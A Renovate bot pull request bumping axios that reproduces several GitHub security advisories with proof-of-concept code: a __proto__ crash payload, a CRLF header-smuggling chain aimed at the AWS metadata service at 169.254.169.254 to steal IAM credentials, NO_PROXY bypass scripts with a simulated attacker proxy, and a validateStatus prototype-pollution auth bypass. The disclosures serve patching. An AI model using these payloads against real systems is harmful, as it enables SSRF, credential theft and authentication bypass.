Update dependency axios to ^0.31.0 [SECURITY] by renovate[bot] · Pull Request #11 · SoF-MC/api

renovate · 2023-11-11T07:30:14Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
axios (source)	`^0.27.2` → `^0.31.0`

Axios Cross-Site Request Forgery Vulnerability

CVE-2023-45857 / GHSA-wf5p-g6vw-rhxx

More information

Details

An issue discovered in Axios 0.8.1 through 1.5.1 inadvertently reveals the confidential XSRF-TOKEN stored in cookies by including it in the HTTP header X-XSRF-TOKEN for every request made to any host allowing attackers to view sensitive information.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios is Vulnerable to Denial of Service via proto Key in mergeConfig

CVE-2026-25639 / GHSA-43fc-jf86-j433

More information

Details

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:

utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});

When prop is '__proto__':

JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property
Object.keys() includes '__proto__' in the iteration
mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)
The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype
Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

Axios._request() at lib/core/Axios.js:75
Axios.getUri() at lib/core/Axios.js:201
All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC

import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);

Reproduction steps:

Clone axios repository or npm install axios
Create file poc.mjs with the code above
Run: node poc.mjs
Observe the TypeError crash

Verified output (axios 1.13.4):

TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)

Control tests performed:

Test	Config	Result
Normal config	`{"timeout": 5000}`	SUCCESS
Malicious config	`JSON.parse('{"__proto__": {"x": 1}}')`	CRASH
Nested object	`{"headers": {"X-Test": "value"}}`	SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

Node.js servers using axios for HTTP requests
Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

CVE-2026-40175 / GHSA-fvcv-3m26-pcqx

More information

Details

Vulnerability Disclosure: Unrestricted Cloud Metadata Exfiltration via Header Injection Chain

Summary

The Axios library is vulnerable to a specific "Gadget" attack chain that allows Prototype Pollution in any third-party dependency to be escalated into Remote Code Execution (RCE) or Full Cloud Compromise (via AWS IMDSv2 bypass).

While Axios patches exist for preventing check pollution, the library remains vulnerable to being used as a gadget when pollution occurs elsewhere. This is due to a lack of HTTP Header Sanitization (CWE-113) combined with default SSRF capabilities.

Severity: Critical (CVSS 9.9)
Affected Versions: All versions (v0.x - v1.x)
Vulnerable Component: lib/adapters/http.js (Header Processing)

Usage of "Helper" Vulnerabilities

This vulnerability is unique because it requires Zero Direct User Input.
If an attacker can pollute Object.prototype via any other library in the stack (e.g., qs, minimist, ini, body-parser), Axios will automatically pick up the polluted properties during its config merge.

Because Axios does not sanitise these merged header values for CRLF (\r\n) characters, the polluted property becomes a Request Smuggling payload.

Proof of Concept

1. The Setup (Simulated Pollution)

Imagine a scenario where a known vulnerability exists in a query parser. The attacker sends a payload that sets:

Object.prototype['x-amz-target'] = "dummy\r\n\r\nPUT /latest/api/token HTTP/1.1\r\nHost: 169.254.169.254\r\nX-aws-ec2-metadata-token-ttl-seconds: 21600\r\n\r\nGET /ignore";

2. The Gadget Trigger (Safe Code)

The application makes a completely safe, hardcoded request:

// This looks safe to the developer
await axios.get('https://analytics.internal/pings');

3. The Execution

Axios merges the prototype property x-amz-target into the request headers. It then writes the header value directly to the socket without validation.

Resulting HTTP traffic:

GET /pings HTTP/1.1
Host: analytics.internal
x-amz-target: dummy

PUT /latest/api/token HTTP/1.1
Host: 169.254.169.254
X-aws-ec2-metadata-token-ttl-seconds: 21600

GET /ignore HTTP/1.1
...

4. The Impact (IMDSv2 Bypass)

The "Smuggled" second request is a valid PUT request to the AWS Metadata Service. It includes the required X-aws-ec2-metadata-token-ttl-seconds header (which a normal SSRF cannot send).
The Metadata Service returns a session token, allowing the attacker to steal IAM credentials and compromise the cloud account.

Impact Analysis

Security Control Bypass: Defeats AWS IMDSv2 (Session Tokens).
Authentication Bypass: Can inject headers (Cookie, Authorization) to pivot into internal administrative panels.
Cache Poisoning: Can inject Host headers to poison shared caches.

Recommended Fix

Validate all header values in lib/adapters/http.js and xhr.js before passing them to the underlying request function.

Patch Suggestion:

// In lib/adapters/http.js
utils.forEach(requestHeaders, function setRequestHeader(val, key) {
  if (/[\r\n]/.test(val)) {
    throw new Error('Security: Header value contains invalid characters');
  }
  // ... proceed to set header
});

References

OWASP: CRLF Injection (CWE-113)

This report was generated as part of a security audit of the Axios library.

Severity

CVSS Score: 4.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF

CVE-2025-62718 / GHSA-3p68-rc4w-qgx5

More information

Details

Axios does not correctly handle hostname normalization when checking NO_PROXY rules.
Requests to loopback addresses like localhost. (with a trailing dot) or [::1] (IPv6 literal) skip NO_PROXY matching and go through the configured proxy.

This goes against what developers expect and lets attackers force requests through a proxy, even if NO_PROXY is set up to protect loopback or internal services.

According to RFC 1034 §3.1 and RFC 3986 §3.2.2, a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, localhost. is the same as localhost.
However, Axios does a literal string comparison instead of normalizing hostnames before checking NO_PROXY. This causes requests like http://localhost.:8080/ and http://[::1]:8080/ to be incorrectly proxied.

This issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.

PoC

import http from "http";
import axios from "axios";

const proxyPort = 5300;

http.createServer((req, res) => {
  console.log("[PROXY] Got:", req.method, req.url, "Host:", req.headers.host);
  res.writeHead(200, { "Content-Type": "text/plain" });
  res.end("proxied");
}).listen(proxyPort, () => console.log("Proxy", proxyPort));

process.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;
process.env.NO_PROXY = "localhost,127.0.0.1,::1";

async function test(url) {
  try {
    await axios.get(url, { timeout: 2000 });
  } catch {}
}

setTimeout(async () => {
  console.log("\n[*] Testing http://localhost.:8080/");
  await test("http://localhost.:8080/"); // goes through proxy

  console.log("\n[*] Testing http://[::1]:8080/");
  await test("http://[::1]:8080/"); // goes through proxy
}, 500);

Expected: Requests bypass the proxy (direct to loopback).
Actual: Proxy logs requests for localhost. and [::1].

Impact

Applications that rely on NO_PROXY=localhost,127.0.0.1,::1 for protecting loopback/internal access are vulnerable.
Attackers controlling request URLs can:
- Force Axios to send local traffic through an attacker-controlled proxy.
- Bypass SSRF mitigations relying on NO_PROXY rules.
- Potentially exfiltrate sensitive responses from internal services via the proxy.

Affected Versions

Confirmed on Axios 1.12.2 (latest at time of testing).
affects all versions that rely on Axios’ current NO_PROXY evaluation.

Remediation
Axios should normalize hostnames before evaluating NO_PROXY, including:

Strip trailing dots from hostnames (per RFC 3986).
Normalize IPv6 literals by removing brackets for matching.

Severity

CVSS Score: 6.3 / 10 (Medium)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy

CVE-2026-42041 / GHSA-w9j2-pvgh-6h63

More information

Details

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy

Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling.

The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success.

Severity: High (CVSS 8.2)
Affected Versions: All versions (v0.x - v1.x including v1.15.0)
Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js

CWE

CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
CWE-287: Improper Authentication

CVSS 3.1

Score: 8.2 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Metric	Value	Justification
Attack Vector	Network	PP is triggered remotely
Attack Complexity	Low	Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx
Privileges Required	None	No authentication needed
User Interaction	None	No user interaction required
Scope	Unchanged	Impact within the application
Confidentiality	Low	401 treated as success may expose data behind auth gates
Integrity	High	All error handling and auth checks are silently bypassed — application operates on invalid assumptions
Availability	None	The function works correctly (returns true), no crash

Usage of "Helper" Vulnerabilities

This vulnerability requires Zero Direct User Input.

If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties.

Why `validateStatus` Is Uniquely Vulnerable

All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator:

// mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus)
function mergeDirectKeys(a, b, prop) {
  if (prop in config2) {           // ← `in` traverses prototype chain!
    return getMergedValue(a, b);
  } else if (prop in config1) {
    return getMergedValue(undefined, a);
  }
}

// mergeConfig.js:94
const mergeMap = {
  // ... all others use defaultToConfig2 ...
  validateStatus: mergeDirectKeys,   // ← ONLY property using this strategy
};

The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct.

Proof of Concept

1. The Setup (Simulated Pollution)

Object.prototype.validateStatus = () => true;

2. The Gadget Trigger (Safe Code)

// Application checks authentication via HTTP status codes
try {
  const response = await axios.get('https://api.internal/admin/users');
  // Developer expects: 401 → catch block → redirect to login
  // Reality: 401 → treated as success → displays admin data
  processAdminData(response.data);  // Executes with 401 response body!
} catch (error) {
  redirectToLogin();  // NEVER REACHED for 401/403/500
}

3. The Execution

// mergeConfig.js:58 — 'validateStatus' in config2
// config2 = { url: '/admin/users', method: 'get' }
// 'validateStatus' in config2 → checks prototype → finds () => true → TRUE
// → getMergedValue(defaultValidator, () => true) → returns () => true

// settle.js:16 — ALL status codes resolve
const validateStatus = response.config.validateStatus;  // () => true
if (!response.status || !validateStatus || validateStatus(response.status)) {
  resolve(response);  // 401, 403, 500 all resolve here!
}

4. The Impact

Before pollution:
  HTTP 200 → resolve (success)
  HTTP 401 → reject (auth error) → redirectToLogin()
  HTTP 403 → reject (forbidden) → showAccessDenied()
  HTTP 500 → reject (server error) → showErrorPage()

After pollution:
  HTTP 200 → resolve (success)
  HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body
  HTTP 403 → resolve (SUCCESS!) → application thinks user has access
  HTTP 500 → resolve (SUCCESS!) → application processes error as data

Verified PoC Output

--- Before Pollution ---
401: REJECTED as expected - Request failed with status code 401
500: REJECTED as expected - Request failed with status code 500

--- After Pollution ---
200: RESOLVED as success (status: 200)
301: RESOLVED as success (status: 301)
401: RESOLVED as success (status: 401)
403: RESOLVED as success (status: 403)
404: RESOLVED as success (status: 404)
500: RESOLVED as success (status: 500)
503: RESOLVED as success (status: 503)

--- Authentication Bypass Demo ---
Auth check bypassed! 401 treated as success.
Application proceeds with: { status: 401, message: 'Response with status 401' }

Impact Analysis

Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources.
Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors.
Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed.
Universal Scope: Affects every axios instance in the application, including third-party libraries.

Recommended Fix

Replace the in operator with hasOwnProperty in mergeDirectKeys:

// FIXED: lib/core/mergeConfig.js
function mergeDirectKeys(a, b, prop) {
  if (Object.prototype.hasOwnProperty.call(config2, prop)) {
    return getMergedValue(a, b);
  } else if (Object.prototype.hasOwnProperty.call(config1, prop)) {
    return getMergedValue(undefined, a);
  }
}

Resources

Timeline

Date	Event
2026-04-15	Vulnerability discovered during source code audit
2026-04-15	PoC developed and vulnerability confirmed
2026-04-16	Report revised for accuracy
TBD	Report submitted to vendor via GitHub Security Advisory

Severity

CVSS Score: 4.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Axios: Incomplete Fix for CVE-2025-62718 — NO_PROXY Protection Bypassed via RFC 1122 Loopback Subnet (127.0.0.0/8) in Axios 1.15.0

CVE-2026-42043 / GHSA-pmwg-cvhr-8vh7

More information

Details

1. Executive Summary
This report documents an incomplete security patch for the previously disclosed vulnerability GHSA-3p68-rc4w-qgx5 (CVE-2025-62718), which affects the NO_PROXY hostname resolution logic in the Axios HTTP library.

Background — The Original Vulnerability
The original vulnerability (GHSA-3p68-rc4w-qgx5) disclosed that Axios did not normalize hostnames before comparing them against NO_PROXY rules. Specifically, a request to http://localhost./ (with a trailing dot) or http://[::1]/ (with IPv6 bracket notation) would bypass NO_PROXY matching entirely and be forwarded to the configured HTTP proxy — even when NO_PROXY=localhost,127.0.0.1,::1 was explicitly set by the developer to protect loopback services.

The Axios maintainers addressed this in version 1.15.0 by introducing a normalizeNoProxyHost() function in lib/helpers/shouldBypassProxy.js, which strips trailing dots from hostnames and removes brackets from IPv6 literals before performing the NO_PROXY comparison.

The Incomplete Patch — This Finding
While the patch correctly addresses the specific cases reported (trailing dot normalization and IPv6 bracket removal), the fix is architecturally incomplete.

The patch introduced a hardcoded set of recognized loopback addresses:

// lib/helpers/shouldBypassProxy.js — Line 1
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);

However, RFC 1122 §3.2.1.3 explicitly defines the entire 127.0.0.0/8 subnet as the IPv4 loopback address block not just the single address 127.0.0.1. On all major operating systems (Linux, macOS, Windows with WSL), any IP address in the range 127.0.0.2 through 127.255.255.254 is a valid, functional loopback address that routes to the local machine.

As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the 127.0.0.0/8 range (e.g., 127.0.0.2, 127.0.0.100, 127.1.2.3) to completely bypass the NO_PROXY protection even in the fully patched Axios 1.15.0 release.

Verification
This bypass has been independently verified on:

Axios version: 1.15.0 (latest patched release)
Node.js version: v22.16.0
OS: Kali Linux (rolling)

The Proof-of-Concept demonstrates that while localhost, localhost., and [::1] are correctly blocked by the patched version, requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 are transparently forwarded to the attacker-controlled proxy server, confirming that the patch does not cover the full RFC-defined loopback address space.

2. Deep-Dive: Technical Root Cause Analysis
2.1 Vulnerable File & Location

Field	Detail
File	lib/helpers/shouldBypassProxy.js
Primary Flaw	isLoopback() — Line 1–3
Supporting Function	shouldBypassProxy() — Line 59–110
Axios Version	1.15.0 (Latest Patched Release)

2.2 How Axios Routes HTTP Requests The Call Chain
When Axios dispatches any HTTP request, lib/adapters/http.js calls setProxy(), which invokes shouldBypassProxy() to decide whether to honour a configured proxy:

// lib/adapters/http.js — Lines 191–199
function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  if (!proxy && proxy !== false) {
    const proxyUrl = getProxyForUrl(location);   // Step 1: Read proxy env var
    if (proxyUrl) {
      if (!shouldBypassProxy(location)) {         // Step 2: Check NO_PROXY
        proxy = new URL(proxyUrl);               // Step 3: Assign proxy
      }
    }
  }
}

shouldBypassProxy() is the single gatekeeper for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.

2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)
Before Axios 1.15.0, hostnames were compared against NO_PROXY using a raw literal string match with no normalization:

Request URL → http://localhost./secret
NO_PROXY    → "localhost,127.0.0.1,::1"
Comparison:
  "localhost." === "localhost"   →  FALSE  →  Proxy used  ← BYPASS
  "[::1]"     === "::1"         →  FALSE  →  Proxy used  ← BYPASS

Both localhost. (FQDN trailing dot, RFC 1034 §3.1) and [::1] (bracketed IPv6 literal, RFC 3986 §3.2.2) are canonical representations of loopback addresses, but Axios treated them as unknown hosts.

2.4 What the Patch Fixed (Axios 1.15.0)
The patch introduced three changes inside lib/helpers/shouldBypassProxy.js:

Fix A normalizeNoProxyHost() (Lines 47–57)
Strips alternate representations before comparison:

const normalizeNoProxyHost = (hostname) => {
  if (!hostname) return hostname;
  // Remove IPv6 brackets: "[::1]" → "::1"
  if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') {
    hostname = hostname.slice(1, -1);
  }
  // Strip trailing FQDN dot: "localhost." → "localhost"
  return hostname.replace(/\.+$/, '');
};

Fix B Cross-Loopback Equivalence (Lines 1–3 & 108)
Allows 127.0.0.1 and localhost to match each other interchangeably:

const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// Line 108 — Final match condition:
return hostname === entryHost
    || (isLoopback(hostname) && isLoopback(entryHost));
//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
//      If both sides are "loopback" → treat as match

Fix C Normalization Applied on Both Sides (Lines 81 & 90)

// Request hostname normalized:
const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());
// Each NO_PROXY entry normalized:
entryHost = normalizeNoProxyHost(entryHost);

2.5 The Incomplete Patch Exact Root Cause
The fundamental flaw resides in Line 1:

// lib/helpers/shouldBypassProxy.js — Line 1  ← ROOT CAUSE
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
//                                              ^^^^^^^^^^^
//                              Only ONE IPv4 loopback address is recognized.
//                              The entire 127.0.0.0/8 subnet is unaccounted for.
// Line 3 — Lookup against this incomplete set:
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
//                                               ^^^^^^^^^
//                          Returns FALSE for any 127.x.x.x ≠ 127.0.0.1

*RFC 1122 §3.2.1.3 is unambiguous:

"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network."

This means all addresses from 127.0.0.1 through 127.255.255.254 are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire /8 block is routed to the lo interface by default. The patch recognises only 127.0.0.1, leaving 16,777,213 valid loopback addresses unprotected.

2.6 Step-by-Step Bypass Execution Trace
Environment:

NO_PROXY   = "localhost,127.0.0.1,::1"
HTTP_PROXY = "http://attacker-proxy:5300"
Target URL = "http://127.0.0.2:9191/internal-api"

Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):

// Step 1 — Parse the request URL
parsed   = new URL("http://127.0.0.2:9191/internal-api")
hostname = "127.0.0.2"    // parsed.hostname
// Step 2 — Read NO_PROXY environment variable
noProxy  = "localhost,127.0.0.1,::1"   // lowercased
// Step 3 — Normalize the request hostname
hostname = normalizeNoProxyHost("127.0.0.2")
//          No brackets → skip
//          No trailing dot → skip
//          Result: "127.0.0.2"  (unchanged)
// Step 4 — Iterate over NO_PROXY entries
//  Entry → "localhost"
entryHost = "localhost"
"127.0.0.2" === "localhost"                  → false
isLoopback("127.0.0.2")                      → false  ← Set.has() returns false
                                                          BYPASS starts here
//  Entry → "127.0.0.1"
entryHost = "127.0.0.1"
"127.0.0.2" === "127.0.0.1"                 → false
isLoopback("127.0.0.2") && isLoopback("127.0.0.1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
//  Entry → "::1"
entryHost = "::1"
"127.0.0.2" === "::1"                        → false
isLoopback("127.0.0.2") && isLoopback("::1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
// Step 5 — Final return
shouldBypassProxy() → false
//  Axios proceeds to route the request through the configured proxy.
//  The attacker's proxy server receives the full request including headers
//  and any response from the internal service.

2.7 Why the Patch Design Is Flawed
The patch addresses the symptom (two specific alternate representations) rather than the root cause (an incomplete definition of what constitutes a loopback address).

Aspect	Original Bug	This Finding
What was wrong	No normalization before comparison	Incomplete loopback address set
Fix applied	Added normalizeNoProxyHost()	None set remains hardcoded
RFC compliance	Violated RFC 1034 & RFC 3986	Violates RFC 1122 §3.2.1.3
Bypass method	Alternate string representation	Alternate valid loopback address
Impact	NO_PROXY bypass → SSRF	NO_PROXY bypass → SSRF (identical)

**2.8 Total Exposed Address Space**
Protected by patch:    127.0.0.1          (1 address)
Unprotected loopback:  127.0.0.2
                       through
                       127.255.255.254    (16,777,213 addresses)

Real-world services that commonly bind to non-standard loopback addresses include:

Internal microservices and admin dashboards using dedicated loopback IPs
Development environments with multiple isolated service instances
Docker and container bridge network configurations
Test infrastructure allocating sequential loopback IPs across services

3. Comprehensive Attack Vector & Proof of Concept

3.1 Reproduction Steps

Step 1 — Create a fresh project directory

mkdir axios-bypass-test && cd axios-bypass-test

Step 2 — Initialize the project with the patched Axios version
Create package.json:

{
  "type": "module",
  "dependencies": {
    "axios": "1.15.0"
  }
}

Install dependencies:

npm install

Verify the installed version:

npm list axios

##### Expected output: axios@1.15.0

Step 3 — Create the PoC file (poc.js)

import http from 'http';
import axios from 'axios';
// ── Simulated attacker-controlled proxy server ────────────────────────────────
const PROXY_PORT = 5300;
http.createServer((req, res) => {
  console.log('\n[!] PROXY HIT — Attacker proxy received request!');
  console.log(`    Method : ${req.method}`);
  console.log(`    URL    : ${req.url}`);
  console.log(`    Host   : ${req.headers.host}`);
  res.writeHead(200);
  res.end('proxied');
}).listen(PROXY_PORT);
// ── Simulated developer security configuration ────────────────────────────────
// Developer believes all loopback traffic is protected by NO_PROXY.
process.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;
process.env.NO_PROXY   = 'localhost,127.0.0.1,::1';
// ── Test helper ───────────────────────────────────────────────────────────────
async function test(url) {
  console.log(`\n[*] Testing: ${url}`);
  try {
    const res = await axios.get(url, { timeout: 2000 });
    if (res.data === 'proxied') {
      console.log('    Result → [PROXIED]  ← BYPASS CONFIRMED');
    } else {
      console.log('    Result → [DIRECT]   ← Safe, no proxy used');
    }
  } catch (err) {
    if (err.code === 'ECONNREFUSED') {
      console.log('    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)');
    }
  }
}
// ── Test execution ────────────────────────────────────────────────────────────
setTimeout(async () => {
  // Section A: Cases fixed by the existing patch — expected to go DIRECT
  console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');
  await test('http://localhost:9191/secret');
  await test('http://localhost.:9191/secret');
  await test('http://[::1]:9191/secret');
  // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy
  console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');
  await test('http://127.0.0.2:9191/secret');
  await test('http://127.0.0.100:9191/secret');
  await test('http://127.1.2.3:9191/secret');
  process.exit(0);
}, 500);

Step 4 — Execute the PoC

node poc.js

3.2 Observed Output
The following output was captured during testing on Kali Linux with Axios 1.15.0:

=== PATCHED CASES (Expected: All requests bypass the proxy) ===
[*] Testing: http://localhost:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://localhost.:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://[::1]:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===
[*] Testing: http://127.0.0.2:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.2:9191/secret
    Host   : 127.0.0.2:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 
[*] Testing: http://127.0.0.100:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.100:9191/secret
    Host   : 127.0.0.100:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 
[*] Testing: http://127.1.2.3:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.1.2.3:9191/secret
    Host   : 127.1.2.3:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED

3.3 Analysis of Results
The output conclusively demonstrates the following:

Patched cases behave correctly: Requests to localhost, localhost. (trailing dot), and [::1] (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.

Bypass cases confirm the incomplete patch: Requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 all of which are valid loopback addresses within the 127.0.0.0/8 subnet as defined by RFC 1122 §3.2.1.3 are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and Host header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.

This confirms that the NO_PROXY protection configured by the developer (localhost,127.0.0.1,::1) fails silently for the entire 127.0.0.0/8 address range beyond 127.0.0.1, providing a reproducible and reliable bypass of the security control introduced by the patch.

4. Impact Assessment
This vulnerability is a security control bypass specifically an incomplete patch that allows an attacker to circumvent the NO_PROXY protection mechanism in Axios by using any loopback addresses within the 127.0.0.0/8 subnet other than 127.0.0.1. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.

4.1 Who Is Impacted?

Primary Target — Node.js Backend Applications
Any Node.js application that meets all three of the following conditions is vulnerable:

Condition 1:  Uses Axios 1.15.0 (latest patched) for HTTP requests
Condition 2:  Has HTTP_PROXY or HTTPS_PROXY set in its environment
              (common in corporate networks, cloud deployments,
               containerised environments, and CI/CD pipelines)
Condition 3:  Relies on NO_PROXY=localhost,127.0.0.1,::1 (or similar)
              to protect loopback or internal services from proxy routing

Affected Deployment Environments

Environment	Risk Level
Cloud-hosted applications (AWS, GCP, Azure)	Critical
Containerised microservices (Docker, Kubernetes)	Critical
Corporate networks with mandatory proxy	High
CI/CD pipelines with proxy environment variables	High
On-premise servers with internal proxy	High

Scale of Exposure
Axios is one of the most widely used HTTP client libraries in the JavaScript ecosystem, with over 500 million weekly downloads on npm. Any application in the above categories using Axios 1.15.0 is affected, regardless of whether the developer is aware of the underlying proxy routing logic.

4.3 Impact Details

Impact 1 Silent Interception of Internal Service Traffic

When an application makes a request to an internal loopback service using a non-standard loopback address (e.g., http://127.0.0.2/admin), Axios silently routes the request through the configured proxy instead of connecting directly.

Developer expects:    Application → 127.0.0.2:8080 (direct)
Actual behaviour:     Application → Attacker Proxy → 127.0.0.2:8080
The proxy receives:
  - Full request URL
  - HTTP method
  - All request headers (including Authorization, Cookie, API keys)
  - Request body (for POST/PUT requests)
  - Full response from the internal service

The developer receives no error or warning. From the application's perspective, the request succeeds normally.

Impact 2 — SSRF Mitigation Bypass
Many applications implement SSRF protections by configuring NO_PROXY to prevent requests to loopback addresses from being forwarded externally. This bypass defeats that protection entirely for any loopback address beyond 127.0.0.1.

SSRF Protection (as configured by developer):
  NO_PROXY = localhost,127.0.0.1,::1
What developer believes is protected:
  All loopback/internal addresses
What is actually protected:
  Only: localhost, 127.0.0.1, ::1 (3 of 16,777,216 loopback addresses)
What remains exposed:
  127.0.0.2 through 127.255.255.254 (16,777,213 addresses)

An attacker who can influence the target URL of an Axios request through user-supplied input, redirect chains, or other SSRF vectors can exploit this gap to reach internal services that the developer explicitly intended to protect.

Impact 3 — Cloud Metadata Service Exposure
In cloud environments (AWS, GCP, Azure), SSRF vulnerabilities are particularly severe because they can be used to access the instance metadata service and retrieve IAM credentials, enabling full cloud account compromise.

While the AWS IMDSv2 service is reachable at 169.254.169.254 (not a loopback address), many cloud deployments run internal metadata proxies, credential servers, or service discovery endpoints bound to non-standard loopback addresses within the 127.0.0.0/8 range. An attacker reaching any of these services through the bypass could:

Retrieve temporary IAM credentials
Access environment variables containing secrets
Enumerate internal service configurations
Pivot to other internal services via the compromised credentials

Impact 4 — Confidential Data Exfiltration
Any internal service binding to a 127.x.x.x address other than 127.0.0.1 is fully exposed. This includes:

Internal Service Type	Exposed Data
Admin panels / dashboards	User data, configuration, logs
Internal APIs	Business logic, database contents
Secret managers / vaults	API keys, tokens, certificates
Health check endpoints	Infrastructure topology
Development services	Source code, environment variables

Impact 5 — No Indication of Compromise
